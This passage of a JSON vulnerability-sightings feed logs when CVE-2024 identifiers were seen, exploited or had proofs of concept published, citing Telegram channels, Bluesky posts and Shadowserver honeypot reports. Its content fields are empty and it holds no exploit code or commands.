"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1538", "content": "", "creation_timestamp": "2026-07-12T00:00:47.446642Z"}, {"uuid": "e37be3e0-dd3e-41dc-996e-a4eea5d370f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "", "creation_timestamp": "2026-07-12T00:00:47.248543Z"}, {"uuid": "8c004887-e448-46f6-8bdd-f1888f0f3c27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/1306", "content": "", "creation_timestamp": "2026-07-12T00:00:46.958525Z"}, {"uuid": "ccbd2338-709f-48f6-b808-9eb2c4bb8dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/brutsecurity/1264", "content": "", "creation_timestamp": "2026-07-12T00:00:46.672039Z"}, {"uuid": "74cda350-3c46-4d5b-ae1f-9ca8c516869c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-11)", "content": "", "creation_timestamp": "2026-07-12T10:15:03.695232Z"}, {"uuid": "9558fc7f-9db4-4202-9af1-19e66e40792b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "content": "", "creation_timestamp": "2026-07-13T10:15:04.834786Z"}, {"uuid": "55dc58e8-dea8-4f40-a465-1022cbffb1d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mqkkxmsdj32p", "content": "", "creation_timestamp": "2026-07-13T20:49:50.215812Z"}, {"uuid": "f392ff67-aa9a-42b3-902a-57d5fdcc3670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-13)", "content": "", "creation_timestamp": "2026-07-14T10:15:05.003918Z"}, {"uuid": "f9c034e3-5edd-447b-bff6-6fb23c86a6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:15:04.071548Z"}, {"uuid": "40fde897-fd73-4519-ae79-1fa96dea5f94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-14)", "content": "", "creation_timestamp": "2026-07-15T10:00:02.970436Z"}, {"uuid": "87c4a294-bef8-4f19-bea1-9ea8f6daec77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-15)", "content": "", "creation_timestamp": "2026-07-16T10:15:04.336022Z"}, {"uuid": "d3a0009c-2658-4ab0-9a3c-e9bd19fa3a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-15)", "content": "", "creation_timestamp": "2026-07-16T10:00:03.260331Z"}, {"uuid": "1659b4e4-60c1-43c9-89d0-fe4cb09dc112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqr4xanuen2z", "content": "", "creation_timestamp": "2026-07-16T11:27:43.037928Z"}, {"uuid": "8ecede76-5f1d-4dda-9045-9d2d44ab83fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-16)", "content": "", "creation_timestamp": "2026-07-17T10:15:04.775601Z"}, {"uuid": "f0bd02bb-a766-4a2c-a85e-6b1cc7ceb1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-16)", "content": "", "creation_timestamp": "2026-07-17T10:00:03.566511Z"}, {"uuid": "0c7788ba-0659-4fc2-932f-0b81c0d3ac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "", "creation_timestamp": "2026-07-17T11:00:04.571380Z"}, {"uuid": "2e66e797-8758-4f82-9fff-be281bf4127e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "", "creation_timestamp": "2026-07-17T11:00:04.526601Z"}, {"uuid": "5edcdc6b-6e06-4fd4-9142-cdc2f22546c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "", "creation_timestamp": "2026-07-18T00:00:31.053340Z"}, {"uuid": "4fa55de4-d5a7-473a-a3b2-02ec345c3ab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "", "creation_timestamp": "2026-07-18T00:00:31.010447Z"}, {"uuid": "f7516a9a-3854-4c89-967f-1f939a04d7dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-17)", "content": "", "creation_timestamp": "2026-07-18T10:15:03.826032Z"}, {"uuid": "384ad6cd-a68b-4937-b799-e17f59513669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:15:04.652129Z"}, {"uuid": "f5242f69-1135-480e-91c6-b94d1f3e45f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:00:03.096657Z"}, {"uuid": "4772d176-5a25-413d-8356-d047e4104076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-19)", "content": "", "creation_timestamp": "2026-07-20T10:15:04.038419Z"}, {"uuid": "6af7de5e-83b8-4a1e-919e-0444408f8dfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "", "creation_timestamp": "2026-07-20T22:00:08.916666Z"}, {"uuid": "84406ca1-f4d7-4061-a5db-7f4c368314b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/claytechsolution/205", "content": "", "creation_timestamp": "2026-07-20T22:00:05.986471Z"}, {"uuid": "fa94971a-125c-43f4-b332-c030e3b218a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "", "creation_timestamp": "2026-07-20T22:00:04.796111Z"}, {"uuid": "0af5a1b1-d171-4550-9929-2a5d7e141e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "", "creation_timestamp": "2026-07-20T22:00:04.768180Z"}, {"uuid": "cc6c0c07-992f-41ec-9638-574a5d1f540c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "", "creation_timestamp": "2026-07-21T00:00:18.752003Z"}, {"uuid": "bc7e811c-7c1c-4e70-90f1-7999e074bb20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "", "creation_timestamp": "2026-07-21T00:00:09.573520Z"}, {"uuid": "472d7c42-3e3e-4cd1-9d94-a8eb2b6d7ad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/pphm_HackerNews/126", "content": "", "creation_timestamp": "2026-07-21T00:00:09.541173Z"}, {"uuid": "35269bcd-d185-400a-ab68-a2f3d1209703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-20)", "content": "", "creation_timestamp": "2026-07-21T10:15:50.857399Z"}, {"uuid": "eb7d738c-f7e3-449c-b909-916240926219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mr72cdcmci2j", "content": "", "creation_timestamp": "2026-07-22T00:17:30.020951Z"}, {"uuid": "fd907d59-b77d-4c9a-b20e-6b59c58a18f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/crackvaultde/738", "content": "", "creation_timestamp": "2026-07-22T00:00:33.390484Z"}, {"uuid": "ae59f848-47d9-451b-a634-82ea7e5508ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-22)", "content": "", "creation_timestamp": "2026-07-23T10:00:06.495101Z"}, {"uuid": "002d1442-c95b-431b-abf5-193be31ac039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-22)", "content": "", "creation_timestamp": "2026-07-23T10:15:04.999645Z"}, {"uuid": "d0cbc271-5020-411f-b728-73d4c9850c2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-07-25T15:00:17.792359Z"}, {"uuid": "5a8e80d4-c58f-4f36-8705-7bee03c6d6b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-23)", "content": "", "creation_timestamp": "2026-07-24T10:00:03.974148Z"}, {"uuid": "17f9cdca-f344-4cbc-9d89-bb94251afbd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-23)", "content": "", "creation_timestamp": "2026-07-24T10:15:02.670287Z"}, {"uuid": "289b093e-6a63-4a8a-aabf-9d928e019641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:00:03.861888Z"}, {"uuid": "1ce18041-b193-4203-9e95-facf1bd122da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-24)", "content": "", "creation_timestamp": "2026-07-25T10:15:07.058919Z"}, {"uuid": "8ec6f4ad-ebc4-4e0f-93e4-fc74b907223f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/ZerodayAlert/707", "content": "", "creation_timestamp": "2026-07-25T15:00:06.927946Z"}, {"uuid": "df1c2056-d16a-4961-9e13-76d3a1196139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-07-26T00:00:42.079319Z"}, {"uuid": "dc2c4a56-2252-437a-9812-110a17b70dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-07-26T00:00:41.998997Z"}, {"uuid": "5c59a229-1abd-4b29-a7b6-cf830fee1723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "", "creation_timestamp": "2026-07-26T00:00:41.955722Z"}, {"uuid": "3fdbdbc3-336b-4784-80cc-f9c2e73f929f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12802", "type": "exploited", "source": "https://t.me/ZerodayAlert/707", "content": "", "creation_timestamp": "2026-07-26T00:00:37.746660Z"}, {"uuid": "0f3c22ae-b761-491d-837a-97bbff960e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/ZerodayAlert/428", "content": "", "creation_timestamp": "2026-07-26T01:00:31.827414Z"}, {"uuid": "cae95d7d-8e30-42fd-bce8-96cfd59ea407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:02:00.119289Z"}, {"uuid": "dabe9d60-047a-4875-939f-76b8fc616632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:02:00.066974Z"}, {"uuid": "4f9b1cd7-c4dd-425a-bd57-dd5b490cbf8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:02:00.017969Z"}, {"uuid": "5d827ddb-4fe5-4b28-ab93-00ad4707fd48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:01:59.965056Z"}, {"uuid": "2946e9dc-3e95-4953-a1f0-8a6d22de7438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:01:59.917985Z"}, {"uuid": "8092a2d9-5ce7-4341-9541-fe76b5020934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-26T02:01:59.871951Z"}, {"uuid": "14a9f255-a2f4-443f-b7ba-c507b29b34bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/EchelonEyes/3644", "content": "", "creation_timestamp": "2026-07-26T02:00:32.350774Z"}, {"uuid": "a0176b3e-07ad-46ef-87fd-a7584c28240b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cyberwarehouse/834", "content": "", "creation_timestamp": "2026-07-26T02:00:12.087774Z"}, {"uuid": "a83b21bb-7f9c-42d8-b10e-72b82e4cf632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "", "creation_timestamp": "2026-07-26T07:01:22.943370Z"}, {"uuid": "7dca39bf-3623-43f4-9d09-18dcf563fc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:15:02.659891Z"}, {"uuid": "7564a7aa-3b7f-4c6f-a3d2-f569505c9f72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-25)", "content": "", "creation_timestamp": "2026-07-26T10:00:03.433031Z"}, {"uuid": "6e91b463-7dfa-44b4-b078-b68e5fc8c9d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "", "creation_timestamp": "2026-07-27T00:01:26.557890Z"}, {"uuid": "352b848e-9f62-48e3-bd90-9db66a11ea53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.635800Z"}, {"uuid": "3530f38b-d81a-4a51-b250-a449c520895f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.585252Z"}, {"uuid": "2995f2f4-8ad0-4794-a5df-72c9d6405075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.534819Z"}, {"uuid": "4beafec4-fd56-40a3-a33d-f845eae001fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.477216Z"}, {"uuid": "cfe52b18-ca68-4448-bfb0-cd6cd2718e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.420636Z"}, {"uuid": "1c75203e-31b7-45f4-9f0b-62c224305787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-27T00:00:39.374052Z"}, {"uuid": "69c40eb8-4846-4356-9f23-488b6ed9e1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/EchelonEyes/3644", "content": "", "creation_timestamp": "2026-07-27T00:00:38.125358Z"}, {"uuid": "557317a7-eea2-457d-aa95-d93513d0fbe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12905", "type": "seen", "source": "https://t.me/cyberwarehouse/834", "content": "", "creation_timestamp": "2026-07-27T00:00:30.440039Z"}, {"uuid": "d1ee5965-fd59-46b6-b9c2-bccdc6755dfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-26)", "content": "", "creation_timestamp": "2026-07-27T10:15:03.891139Z"}, {"uuid": "2885a1a0-deee-43aa-9b34-cd9415e014c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-26)", "content": "", "creation_timestamp": "2026-07-27T10:00:04.015001Z"}, {"uuid": "19fab914-d2c0-47a2-909c-a5f7fd45979b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/3644", "content": "", "creation_timestamp": "2026-07-28T00:00:51.552224Z"}, {"uuid": "558a9309-b449-4e76-a9cf-b54fccb593b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12088", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T00:00:50.207753Z"}, {"uuid": "8448a4f3-890f-45e5-be99-665b799f4795", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12087", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T00:00:50.162618Z"}, {"uuid": "80a64c68-e7d1-4406-832c-f2aba351f663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12084", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T00:00:50.115351Z"}, {"uuid": "3552d17e-650f-4b85-8f8e-c71cb9be0035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12086", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T00:00:50.072391Z"}, {"uuid": "f0c5a9ad-a702-4e4a-8f89-7ddc5c552a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12085", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T00:00:50.026411Z"}, {"uuid": "07b772f9-9aab-4e7f-a018-85455d3aaa4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12747", "type": "exploited", "source": "https://t.me/EchelonEyes/3541", "content": "", "creation_timestamp": "2026-07-28T01:00:29.910341Z"}, {"uuid": "296b62b5-8369-4030-8818-020e0b8e9a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:15:04.234869Z"}, {"uuid": "fab1be89-3639-4829-9367-7358d4dc4480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:00:02.613208Z"}, {"uuid": 